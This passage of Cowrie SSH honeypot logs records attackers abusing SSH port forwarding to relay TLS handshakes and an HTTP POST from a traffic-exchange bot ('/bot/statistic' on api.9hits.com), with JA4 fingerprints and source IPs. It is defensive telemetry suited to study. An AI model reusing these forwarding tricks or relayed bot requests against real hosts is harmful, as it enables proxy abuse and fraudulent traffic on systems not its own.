0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa3\\xff\\x92!?f!,\\x11\\xadU\\xdc\\x84\\xf8\\xdcM\\xf0\\xf1VS\\rs/\\x97\\x83\\x0f\\x99\\x01&\\xb2\\xa9\\xdd Uw\\xdab\\x1a\\x95?m\\xb4\\xfe\"\\xaae`^\"\\xe2\\xb0\\x9e\\xe6\\x12\\xfaF&\\xe8\\x92\\xb3\\x12\\xf8\\xd3\\xdd+\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\x92\\x8f\\xd5\\xdf+\\xf8\\xfeRD\\x1f\\x8a\\x83\\x03\\xd2h\\xa02\\xfcq\\xfe\\xbb\\x96\\x05V\\xc54+S\\x03\\xd9\\xa7:\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.729960Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.744184Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdf\\r\\x06\\xd9\\xde\\xa3\\x84e9\\xa4V\\x9d\\xac\\xb6H6T91\\xe0\\x80Mp\\x0bvOz\\x18\\x03\\xe1\\xc34 \\xa1\\x80;\\xd1\\x8e\\x99\\xe9\\x06p\\xe4\\xcb<ww\\xc7\\x9dd1)\\xba\\xc9@\\xe8X\\xfe\\x00>\\xbf#Y\\x18L\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 u\\xa9\\xc8\\xedf\\x95\\x8b\\x16)F\\x9e\\xb1\\xd2\\x921\\xd9\\xab\\xf2Z\\xf1\\x93f\\x84\\xebV\\x7fW<\\xcd\\xa86N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdf\\r\\x06\\xd9\\xde\\xa3\\x84e9\\xa4V\\x9d\\xac\\xb6H6T91\\xe0\\x80Mp\\x0bvOz\\x18\\x03\\xe1\\xc34 \\xa1\\x80;\\xd1\\x8e\\x99\\xe9\\x06p\\xe4\\xcb<ww\\xc7\\x9dd1)\\xba\\xc9@\\xe8X\\xfe\\x00>\\xbf#Y\\x18L\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 u\\xa9\\xc8\\xedf\\x95\\x8b\\x16)F\\x9e\\xb1\\xd2\\x921\\xd9\\xab\\xf2Z\\xf1\\x93f\\x84\\xebV\\x7fW<\\xcd\\xa86N\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.747051Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.807824Z","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.867753Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb7\\x82\\xa8t\\t,\\xbf\\x9c\\xf7S\\xe1a\\xa8+v\\x0f\\xe1\"Ce\\xd9\\x91\\xff\\xeaX\\xf6\\x99H\\xd3Y,\\xf4 \\xbd\\x92p\\x06\\xd9V\\x91\\xdf\\x0c\\x82\\x9e\\xf6f\\x9f\\x08\\x81(\\x15\\xc2C\\x01\\n2\\x02u\\x02\\xabG_\\xbe\\xd3\\x8e\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88\\x7f\\xaekp\\x80>Mm=\\x86\\x96o\\xbfj1\\x1b@\\xa9\\xc6e\\x97\\xd97\\xef\\xf4\\xb8\\xf7\\xdc9\\xce>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb7\\x82\\xa8t\\t,\\xbf\\x9c\\xf7S\\xe1a\\xa8+v\\x0f\\xe1\"Ce\\xd9\\x91\\xff\\xeaX\\xf6\\x99H\\xd3Y,\\xf4 \\xbd\\x92p\\x06\\xd9V\\x91\\xdf\\x0c\\x82\\x9e\\xf6f\\x9f\\x08\\x81(\\x15\\xc2C\\x01\\n2\\x02u\\x02\\xabG_\\xbe\\xd3\\x8e\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88\\x7f\\xaekp\\x80>Mm=\\x86\\x96o\\xbfj1\\x1b@\\xa9\\xc6e\\x97\\xd97\\xef\\xf4\\xb8\\xf7\\xdc9\\xce>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:14.871148Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:20.599720Z","src_ip":"23.175.50.47","session":"951384a8f639","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:21.578377Z","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:21.608730Z","src_ip":"23.148.145.132","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bmswTUU%2BZ0xsQjJPeT82MA%3D%3DJF5OrNvf2%2FNyxssjsbmYCTmx4eM4e6D%2BhBl%2B7m3Aq68XeXEKIXgJnydk4SBmTXJ7DxS5WRWGFupoRSRGOwVeJv5NakKEgmm9Iv%2FFiDU%2FfF9FxCk3NzRu%2Bc7svoEBRcBM46AtJsTpEjiWljkYDcpkELhZyXFJ7UJwjraA8f9neQY5tl6M7aDBgMv8vOXfiAHSwqoHo7oTWSFb3V4Ydsm%2B3f%2F6HuDH5P5OX8VzHlGZaqLBL7a%2FmgmqLJHj4j6oDg9loryltfEM1NtmksyoU7117nuA4VWbM%2F7pViXEDRWlDu5ESVqnelW9xZxiiEsH5Grj6kkEvl1IUpOEIlYWBAa4EMEDXsDIqPTyR9cJYMykiCRHcxw2anCXnEPCdGV6KsYPoFQ5gmkvOlHOBQgn%2F4%2BaZwPeXdh231EVDCnGPZY0xuLnWrtCcFbs6VHey%2BQUMIxBMCNF%2FugRTJcjk%2BDya%2Buhr4feRG95sfHtiQGuy9zsuEF%2FL1MgxciEvNKB29qghVPFxq8Lr3Wxcenr9PQHkvL35tjvdTYahgLmZ7zLaOQiGi6j56qIEnTyBdv8ry0HmZCoLntHozl758ktI%2FhNYE3nMqPPJVFxdLmojnRhzfgf9BoVonTRmZB%2FWUwFfEidHrzZS%2FpqRFJ808wAfzWBGJtnX%2FbTAh2Df33l%2B7SxRIPhOmzKXisWsym20CTeyOy7vkFi9Cft8EF%2FWiuulW675Dow3mod%2B8JhPk7wUFdGCbfGqB7hdakjmKNNw4cVsLLvd12WNFoF8aEBFPc90ckWrLQ97qK1Iv2u5%2F1WnRvFxFvPk6ZR3CKGnkYcPctra1zBjXk1l3agNK06KQuzwF1h5TnRxcF27SbrF%2FgoUGyMUXU5FxrrtZapk3eWAWVM6RoD4ZPLB%2FL7DJ4Ok9HCF7EIeU9VlXkGKnRzLf188wdpcRMWXIsvehxd574VJNnFDHHWTspTMksBCtMWc0FN0mKpS93Und0VUOTndfiA71rwWjSUd%2B9qEkTP3qf5e%2F7Hb4U0f%2F%2FGqHdtUaqLAP735sfNqmX6rSVuIJkVyy%2BsYiwZA0eZeJBwKU2caL2prpUnr%2BBlw7MK'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bmswTUU%2BZ0xsQjJPeT82MA%3D%3DJF5OrNvf2%2FNyxssjsbmYCTmx4eM4e6D%2BhBl%2B7m3Aq68XeXEKIXgJnydk4SBmTXJ7DxS5WRWGFupoRSRGOwVeJv5NakKEgmm9Iv%2FFiDU%2FfF9FxCk3NzRu%2Bc7svoEBRcBM46AtJsTpEjiWljkYDcpkELhZyXFJ7UJwjraA8f9neQY5tl6M7aDBgMv8vOXfiAHSwqoHo7oTWSFb3V4Ydsm%2B3f%2F6HuDH5P5OX8VzHlGZaqLBL7a%2FmgmqLJHj4j6oDg9loryltfEM1NtmksyoU7117nuA4VWbM%2F7pViXEDRWlDu5ESVqnelW9xZxiiEsH5Grj6kkEvl1IUpOEIlYWBAa4EMEDXsDIqPTyR9cJYMykiCRHcxw2anCXnEPCdGV6KsYPoFQ5gmkvOlHOBQgn%2F4%2BaZwPeXdh231EVDCnGPZY0xuLnWrtCcFbs6VHey%2BQUMIxBMCNF%2FugRTJcjk%2BDya%2Buhr4feRG95sfHtiQGuy9zsuEF%2FL1MgxciEvNKB29qghVPFxq8Lr3Wxcenr9PQHkvL35tjvdTYahgLmZ7zLaOQiGi6j56qIEnTyBdv8ry0HmZCoLntHozl758ktI%2FhNYE3nMqPPJVFxdLmojnRhzfgf9BoVonTRmZB%2FWUwFfEidHrzZS%2FpqRFJ808wAfzWBGJtnX%2FbTAh2Df33l%2B7SxRIPhOmzKXisWsym20CTeyOy7vkFi9Cft8EF%2FWiuulW675Dow3mod%2B8JhPk7wUFdGCbfGqB7hdakjmKNNw4cVsLLvd12WNFoF8aEBFPc90ckWrLQ97qK1Iv2u5%2F1WnRvFxFvPk6ZR3CKGnkYcPctra1zBjXk1l3agNK06KQuzwF1h5TnRxcF27SbrF%2FgoUGyMUXU5FxrrtZapk3eWAWVM6RoD4ZPLB%2FL7DJ4Ok9HCF7EIeU9VlXkGKnRzLf188wdpcRMWXIsvehxd574VJNnFDHHWTspTMksBCtMWc0FN0mKpS93Und0VUOTndfiA71rwWjSUd%2B9qEkTP3qf5e%2F7Hb4U0f%2F%2FGqHdtUaqLAP735sfNqmX6rSVuIJkVyy%2BsYiwZA0eZeJBwKU2caL2prpUnr%2BBlw7MK'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:21.613292Z","src_ip":"23.148.145.132","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:25.237197Z","session":"3b4a0e9c3846","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:25.253530Z","src_ip":"23.148.145.132","session":"3b4a0e9c3846","protocol":"ssh"}
